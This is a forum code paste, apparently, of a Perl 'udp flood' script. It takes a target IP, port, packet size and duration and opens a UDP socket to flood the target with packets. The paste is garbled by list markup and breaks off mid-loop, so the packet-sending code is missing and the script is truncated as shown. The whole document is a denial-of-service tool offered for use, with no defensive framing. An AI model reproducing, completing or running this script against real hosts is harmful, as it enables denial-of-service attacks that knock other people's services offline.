|
[ol][*]#!/usr/bin/perl
[*]
[*]##############
[*]# udp flood.
[*]##############
[*]
[*]use Socket;
[*]use strict;
[*]
[*]if ($#ARGV != 3) {
[*] print "flood.pl [i] \n\n";
[*] print " port=0: use random ports\n";
[*] print " size=0: use random size between 64 and 1024\n";
[*] print " time=0: continuous flood\n";
[*] exit(1);
[*]}
[*]
[*]my ($ip,$port,$size,$time) = @ARGV;
[*]
[*]my ($iaddr,$endtime,$psize,$pport);
[*]
[*]$iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
[*]$endtime = time() + ($time ? $time : 1000000);
[*]
[*]socket(flood, AF_INET, SOCK_DGRAM, 17);
[*]
[*]
[*]print "Flooding $ip " . ($port ? $port : "random") . " port with " .
[*] ($size ? "$size-byte" : "random size") . " packets" .
[*] ($time ? " for $time seconds" : "") . "\n";
[*]print "Break with Ctrl-C\n" unless $time;
[*]
[*]for (;time() 复制代码 |
|